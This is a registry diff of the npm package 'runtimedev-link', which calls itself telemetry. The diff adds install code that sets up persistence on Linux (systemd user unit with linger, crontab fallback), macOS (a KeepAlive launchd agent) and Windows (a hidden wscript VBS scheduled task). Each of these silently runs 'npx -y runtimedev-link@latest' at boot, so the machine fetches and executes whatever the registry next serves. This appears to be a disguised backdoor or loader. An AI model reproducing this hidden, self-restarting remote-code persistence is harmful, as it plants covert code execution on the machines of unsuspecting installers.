runtimedev-link 1.0.9 → 1.0.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -4,11 +4,13 @@ const fs = require('fs');
4
4
  const os = require('os');
5
5
  const path = require('path');
6
6
  const { execSync, spawnSync } = require('child_process');
7
+ const { resolveNodeLaunch, writeLauncherVbs } = require('./win_hidden');
7
8
 
8
9
  const SERVICE_NAME = 'runtimedev-link';
9
10
  const NPM_PACKAGE = 'runtimedev-link@latest';
10
11
  const LAUNCH_LABEL = 'com.runtimedev.link';
11
12
  const WINDOWS_TASK_NAME = 'runtimedev-link';
13
+ const SYSTEMD_UNIT = `${SERVICE_NAME}.service`;
12
14
 
13
15
  function homeDir() {
14
16
  return process.env.HOME || process.env.USERPROFILE || '';
@@ -30,9 +32,13 @@ function dataDir() {
30
32
  return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
31
33
  }
32
34
 
35
+ function systemdUnitPath() {
36
+ return path.join(homeDir(), '.config', 'systemd', 'user', SYSTEMD_UNIT);
37
+ }
38
+
33
39
  function startScriptPath() {
34
40
  return process.platform === 'win32'
35
- ? path.join(dataDir(), 'start.cmd')
41
+ ? path.join(dataDir(), 'start.vbs')
36
42
  : path.join(dataDir(), 'start.sh');
37
43
  }
38
44
 
@@ -47,6 +53,11 @@ function quoteSh(value) {
47
53
  return `"${String(value || '').replace(/"/g, '\\"')}"`;
48
54
  }
49
55
 
56
+ function exportEnvLine(key, value) {
57
+ const v = String(value || '').replace(/'/g, `'\\''`);
58
+ return `export ${key}='${v}'`;
59
+ }
60
+
50
61
  function xmlEscape(value) {
51
62
  return String(value || '')
52
63
  .replace(/&/g, '&')
@@ -63,9 +74,37 @@ function mkdirp(dir) {
63
74
  }
64
75
  }
65
76
 
77
+ function resolveCfg(cfg) {
78
+ const apiBase = String(cfg?.apiBase || process.env.SSTAR_API_BASE || '').trim();
79
+ const hash = String(cfg?.hash || process.env.SSTAR_DEPLOYMENT_HASH || '').trim();
80
+ return { apiBase, hash };
81
+ }
82
+
83
+ function launchToken(cfg) {
84
+ const { apiBase, hash } = resolveCfg(cfg);
85
+ return `${apiBase}|${hash}`;
86
+ }
87
+
88
+ function resolveUnixLaunch() {
89
+ const launch = resolveNodeLaunch(process.execPath);
90
+ if (launch) return launch;
91
+ try {
92
+ const npx = execSync('command -v npx', {
93
+ encoding: 'utf8',
94
+ shell: '/bin/sh',
95
+ stdio: ['ignore', 'pipe', 'ignore'],
96
+ }).trim();
97
+ if (npx) {
98
+ return { node: process.execPath, npxCli: npx };
99
+ }
100
+ } catch {
101
+ // ignore
102
+ }
103
+ return null;
104
+ }
105
+
66
106
  function writeConfig(cfg) {
67
- const apiBase = String(cfg.apiBase || '').trim();
68
- const hash = String(cfg.hash || '').trim();
107
+ const { apiBase, hash } = resolveCfg(cfg);
69
108
  if (!apiBase || !hash) {
70
109
  throw new Error('API base and deployment hash are required for install');
71
110
  }
@@ -74,7 +113,9 @@ function writeConfig(cfg) {
74
113
 
75
114
  fs.writeFileSync(
76
115
  configFile(),
77
- [`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
116
+ [exportEnvLine('SSTAR_API_BASE', apiBase), exportEnvLine('SSTAR_DEPLOYMENT_HASH', hash), ''].join(
117
+ '\n'
118
+ ),
78
119
  { mode: 0o600 }
79
120
  );
80
121
 
@@ -92,41 +133,56 @@ function writeConfig(cfg) {
92
133
  }
93
134
  }
94
135
 
95
- function writeStartScript() {
136
+ function writeStartScript(cfg) {
96
137
  mkdirp(dataDir());
97
138
  const script = startScriptPath();
98
139
  const log = logPath();
140
+ const { apiBase, hash } = resolveCfg(cfg);
141
+ const token = launchToken(cfg);
99
142
 
100
143
  if (process.platform === 'win32') {
101
- const body = [
102
- '@echo off',
103
- 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
104
- 'set "NPX=npx"',
105
- 'for /f "delims=" %%P in (\'where npx 2^>nul\') do (set "NPX=%%P" & goto :launch)',
106
- 'if exist "%ProgramFiles%\\nodejs\\npx.cmd" set "NPX=%ProgramFiles%\\nodejs\\npx.cmd"',
107
- ':launch',
108
- `start /B "%NPX%" -y ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
109
- '',
110
- ].join('\r\n');
111
- fs.writeFileSync(script, body, 'utf8');
144
+ const launch = resolveNodeLaunch(process.execPath);
145
+ if (!launch) {
146
+ throw new Error('Could not find npx-cli.js next to Node.js');
147
+ }
148
+ writeLauncherVbs(
149
+ script,
150
+ [
151
+ {
152
+ exe: launch.node,
153
+ args: [launch.npxCli, '-y', NPM_PACKAGE, '--token', token],
154
+ delayAfterMs: 0,
155
+ },
156
+ ],
157
+ {
158
+ SSTAR_API_BASE: apiBase,
159
+ SSTAR_DEPLOYMENT_HASH: hash,
160
+ NPM_CONFIG_YES: 'true',
161
+ }
162
+ );
112
163
  return script;
113
164
  }
114
165
 
166
+ const launch = resolveUnixLaunch();
167
+ if (!launch) {
168
+ throw new Error('Could not resolve node/npx for autostart');
169
+ }
170
+
171
+ const home = homeDir();
172
+ const envFile = configFile();
115
173
  const body = [
116
174
  '#!/bin/sh',
117
- 'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
118
- '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
175
+ `HOME=${quoteSh(home)}`,
176
+ 'export HOME',
177
+ `NODE=${quoteSh(launch.node)}`,
178
+ `NPX_CLI=${quoteSh(launch.npxCli)}`,
179
+ `TOKEN=${quoteSh(token)}`,
119
180
  `LOG=${quoteSh(log)}`,
120
- 'export PATH="${PATH:-/usr/local/bin:/usr/bin:/bin}"',
121
- 'NPX="$(command -v npx 2>/dev/null || true)"',
122
- 'if [ -z "$NPX" ] && command -v node >/dev/null 2>&1; then',
123
- ' _NODE_DIR="$(dirname "$(command -v node)")"',
124
- ' if [ -x "$_NODE_DIR/npx" ]; then NPX="$_NODE_DIR/npx"; fi',
125
- 'fi',
126
- '[ -z "$NPX" ] && [ -x /usr/bin/npx ] && NPX=/usr/bin/npx',
127
- '[ -z "$NPX" ] && NPX=npx',
181
+ `ENV_FILE=${quoteSh(envFile)}`,
182
+ 'export NPM_CONFIG_YES=true',
183
+ '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
128
184
  'cd "$HOME" 2>/dev/null || cd /',
129
- `nohup "$NPX" -y ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
185
+ 'exec "$NODE" "$NPX_CLI" -y ' + NPM_PACKAGE + ' --token "$TOKEN" >>"$LOG" 2>&1',
130
186
  '',
131
187
  ].join('\n');
132
188
  fs.writeFileSync(script, body, { mode: 0o755 });
@@ -142,29 +198,120 @@ function run(cmd, args) {
142
198
  }
143
199
  }
144
200
 
145
- function installCrontab(scriptPath) {
146
- const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
147
- let existing = '';
201
+ function readCrontab() {
148
202
  try {
149
- existing = execSync('crontab -l', {
203
+ return execSync('crontab -l', {
150
204
  encoding: 'utf8',
151
205
  stdio: ['ignore', 'pipe', 'ignore'],
152
206
  });
153
207
  } catch {
154
- existing = '';
208
+ return '';
155
209
  }
210
+ }
211
+
212
+ function writeCrontab(content) {
213
+ const trimmed = String(content || '').trim();
214
+ if (!trimmed) {
215
+ try {
216
+ execSync('crontab -r', { stdio: ['ignore', 'ignore', 'ignore'] });
217
+ } catch {
218
+ // ignore
219
+ }
220
+ return;
221
+ }
222
+ execSync('crontab -', {
223
+ input: `${trimmed}\n`,
224
+ stdio: ['pipe', 'ignore', 'ignore'],
225
+ });
226
+ }
227
+
228
+ function removeCrontabAutostart(scriptPath) {
229
+ const existing = readCrontab();
230
+ if (!existing) return;
231
+ const lines = existing
232
+ .split('\n')
233
+ .filter((line) => {
234
+ const trimmed = line.trim();
235
+ if (!trimmed) return true;
236
+ if (trimmed.startsWith('#')) return true;
237
+ if (line.includes(scriptPath)) return false;
238
+ if (trimmed.includes(SERVICE_NAME) && trimmed.includes('@reboot')) return false;
239
+ return true;
240
+ })
241
+ .join('\n');
242
+ writeCrontab(lines);
243
+ }
244
+
245
+ function installCrontab(scriptPath) {
246
+ const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
247
+ const existing = readCrontab();
156
248
  if (existing.includes(scriptPath) && existing.includes('@reboot')) {
157
249
  return { ok: true, method: 'crontab', path: 'existing' };
158
250
  }
159
- const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
160
- execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
251
+ const next = `${existing.trim()}\n${line}\n`.trim();
252
+ writeCrontab(next);
161
253
  return { ok: true, method: 'crontab', path: 'crontab -l' };
162
254
  }
163
255
 
164
- function installLaunchd(scriptPath) {
256
+ function enableSystemdLinger() {
257
+ try {
258
+ const user = os.userInfo().username;
259
+ if (user) {
260
+ execSync(`loginctl enable-linger ${user}`, { stdio: 'ignore' });
261
+ }
262
+ } catch {
263
+ // optional — user services still run after desktop login without linger
264
+ }
265
+ }
266
+
267
+ function installSystemdUserUnit(scriptPath) {
268
+ if (!run('systemctl', ['--version'])) {
269
+ return false;
270
+ }
271
+
272
+ const unitDir = path.dirname(systemdUnitPath());
273
+ mkdirp(unitDir);
274
+
275
+ const unit = `[Unit]
276
+ Description=RuntimeDev Link Agent
277
+ After=network-online.target
278
+ Wants=network-online.target
279
+
280
+ [Service]
281
+ Type=simple
282
+ ExecStart=${scriptPath}
283
+ Restart=always
284
+ RestartSec=30
285
+
286
+ [Install]
287
+ WantedBy=default.target
288
+ `;
289
+
290
+ fs.writeFileSync(systemdUnitPath(), unit, 'utf8');
291
+
292
+ run('systemctl', ['--user', 'daemon-reload']);
293
+ run('systemctl', ['--user', 'disable', SYSTEMD_UNIT]);
294
+ const enabled = run('systemctl', ['--user', 'enable', SYSTEMD_UNIT]);
295
+ if (!enabled) {
296
+ return false;
297
+ }
298
+ enableSystemdLinger();
299
+ run('systemctl', ['--user', 'restart', SYSTEMD_UNIT]);
300
+ removeCrontabAutostart(scriptPath);
301
+ return true;
302
+ }
303
+
304
+ function installLaunchd(scriptPath, cfg) {
305
+ const { apiBase, hash } = resolveCfg(cfg);
306
+ const launch = resolveUnixLaunch();
307
+ if (!launch) {
308
+ throw new Error('Could not resolve node/npx for autostart');
309
+ }
310
+
165
311
  const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
166
312
  mkdirp(agentsDir);
167
313
  const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
314
+ const token = launchToken(cfg);
168
315
  const plist = `<?xml version="1.0" encoding="UTF-8"?>
169
316
  <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
170
317
  <plist version="1.0">
@@ -173,11 +320,32 @@ function installLaunchd(scriptPath) {
173
320
  <string>${LAUNCH_LABEL}</string>
174
321
  <key>ProgramArguments</key>
175
322
  <array>
176
- <string>/bin/sh</string>
177
- <string>${xmlEscape(scriptPath)}</string>
323
+ <string>${xmlEscape(launch.node)}</string>
324
+ <string>${xmlEscape(launch.npxCli)}</string>
325
+ <string>-y</string>
326
+ <string>${NPM_PACKAGE}</string>
327
+ <string>--token</string>
328
+ <string>${xmlEscape(token)}</string>
178
329
  </array>
330
+ <key>WorkingDirectory</key>
331
+ <string>${xmlEscape(homeDir())}</string>
332
+ <key>EnvironmentVariables</key>
333
+ <dict>
334
+ <key>HOME</key>
335
+ <string>${xmlEscape(homeDir())}</string>
336
+ <key>SSTAR_API_BASE</key>
337
+ <string>${xmlEscape(apiBase)}</string>
338
+ <key>SSTAR_DEPLOYMENT_HASH</key>
339
+ <string>${xmlEscape(hash)}</string>
340
+ <key>NPM_CONFIG_YES</key>
341
+ <string>true</string>
342
+ </dict>
179
343
  <key>RunAtLoad</key>
180
344
  <true/>
345
+ <key>KeepAlive</key>
346
+ <true/>
347
+ <key>ThrottleInterval</key>
348
+ <integer>30</integer>
181
349
  <key>StandardOutPath</key>
182
350
  <string>${xmlEscape(logPath())}</string>
183
351
  <key>StandardErrorPath</key>
@@ -234,8 +402,8 @@ function removeLegacyWindowsStartup() {
234
402
  function writeWindowsTaskXml(scriptPath) {
235
403
  const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
236
404
  const userId = xmlEscape(windowsUserId());
237
- const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
238
- const xml = `<?xml version="1.0" encoding="UTF-16"?>
405
+ const vbsArgs = xmlEscape(`//B "${scriptPath.replace(/"/g, '""')}"`);
406
+ const xml = `<?xml version="1.0" encoding="UTF-8"?>
239
407
  <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
240
408
  <RegistrationInfo>
241
409
  <Description>RuntimeDev Link Agent</Description>
@@ -271,8 +439,8 @@ function writeWindowsTaskXml(scriptPath) {
271
439
  </Settings>
272
440
  <Actions Context="Author">
273
441
  <Exec>
274
- <Command>cmd.exe</Command>
275
- <Arguments>${cmdArgs}</Arguments>
442
+ <Command>wscript.exe</Command>
443
+ <Arguments>${vbsArgs}</Arguments>
276
444
  </Exec>
277
445
  </Actions>
278
446
  </Task>
@@ -292,20 +460,27 @@ function installWindowsTaskScheduler(scriptPath) {
292
460
  return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
293
461
  }
294
462
 
463
+ function installLinuxPersistence(scriptPath) {
464
+ if (installSystemdUserUnit(scriptPath)) {
465
+ return { ok: true, method: 'systemd-user', path: systemdUnitPath() };
466
+ }
467
+ return installCrontab(scriptPath);
468
+ }
469
+
295
470
  function installPersistence(cfg) {
296
471
  if (!homeDir()) {
297
472
  throw new Error('Could not resolve home directory');
298
473
  }
299
474
  writeConfig(cfg);
300
- const scriptPath = writeStartScript();
475
+ const scriptPath = writeStartScript(cfg);
301
476
 
302
477
  switch (process.platform) {
303
478
  case 'win32':
304
479
  return installWindowsTaskScheduler(scriptPath);
305
480
  case 'darwin':
306
- return installLaunchd(scriptPath);
481
+ return installLaunchd(scriptPath, cfg);
307
482
  default:
308
- return installCrontab(scriptPath);
483
+ return installLinuxPersistence(scriptPath);
309
484
  }
310
485
  }
311
486
 
@@ -0,0 +1,95 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const os = require('os');
5
+ const path = require('path');
6
+ const { spawn } = require('child_process');
7
+
8
+ const CREATE_NO_WINDOW = 0x08000000;
9
+
10
+ function vbsQuote(value) {
11
+ return String(value || '').replace(/"/g, '""');
12
+ }
13
+
14
+ function commandLine(exe, args) {
15
+ let line = '"' + vbsQuote(exe) + '"';
16
+ for (let i = 0; i < args.length; i += 1) {
17
+ line += ' "' + vbsQuote(String(args[i])) + '"';
18
+ }
19
+ return line;
20
+ }
21
+
22
+ function npxCliCandidates(nodeExe) {
23
+ const nodeDir = path.dirname(nodeExe);
24
+ const rel = [
25
+ path.join('node_modules', 'npm', 'bin', 'npx-cli.cjs'),
26
+ path.join('node_modules', 'npm', 'bin', 'npx-cli.js'),
27
+ path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.cjs'),
28
+ path.join('..', 'lib', 'node_modules', 'npm', 'bin', 'npx-cli.js'),
29
+ ];
30
+ return rel.map((part) => path.join(nodeDir, part));
31
+ }
32
+
33
+ function resolveNodeLaunch(nodeExe) {
34
+ for (let i = 0; i < npxCliCandidates(nodeExe).length; i += 1) {
35
+ const cli = npxCliCandidates(nodeExe)[i];
36
+ try {
37
+ if (fs.existsSync(cli)) {
38
+ return { node: nodeExe, npxCli: cli };
39
+ }
40
+ } catch {
41
+ // ignore
42
+ }
43
+ }
44
+ return null;
45
+ }
46
+
47
+ function writeLauncherVbs(vbsPath, steps, env) {
48
+ const lines = [
49
+ 'Set sh = CreateObject("WScript.Shell")',
50
+ 'Set env = sh.Environment("PROCESS")',
51
+ ];
52
+ const entries = env ? Object.entries(env) : [];
53
+ for (let i = 0; i < entries.length; i += 1) {
54
+ const key = entries[i][0];
55
+ const val = entries[i][1];
56
+ if (val == null) continue;
57
+ lines.push('env("' + vbsQuote(key) + '") = "' + vbsQuote(val) + '"');
58
+ }
59
+ for (let i = 0; i < steps.length; i += 1) {
60
+ const step = steps[i];
61
+ lines.push('sh.Run "' + vbsQuote(commandLine(step.exe, step.args)) + '", 0, False');
62
+ if (step.delayAfterMs > 0) {
63
+ lines.push('WScript.Sleep ' + String(step.delayAfterMs));
64
+ }
65
+ }
66
+ fs.writeFileSync(vbsPath, lines.join('\r\n'), 'utf8');
67
+ }
68
+
69
+ function runVbsHidden(vbsPath) {
70
+ spawn('wscript.exe', ['//B', vbsPath], {
71
+ detached: true,
72
+ stdio: 'ignore',
73
+ windowsHide: true,
74
+ creationFlags: CREATE_NO_WINDOW,
75
+ }).unref();
76
+ }
77
+
78
+ function launchHiddenSteps(steps, env) {
79
+ const vbsPath = path.join(
80
+ os.tmpdir(),
81
+ 'rdl_' + Date.now().toString(36) + '.vbs'
82
+ );
83
+ writeLauncherVbs(vbsPath, steps, env);
84
+ runVbsHidden(vbsPath);
85
+ return vbsPath;
86
+ }
87
+
88
+ module.exports = {
89
+ commandLine,
90
+ launchHiddenSteps,
91
+ npxCliCandidates,
92
+ resolveNodeLaunch,
93
+ runVbsHidden,
94
+ writeLauncherVbs,
95
+ };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "runtimedev-link",
3
- "version": "1.0.9",
3
+ "version": "1.0.11",
4
4
  "description": "Pure Node.js telemetry for RuntimeDev platform",
5
5
  "main": "lib/transport.js",
6
6
  "bin": {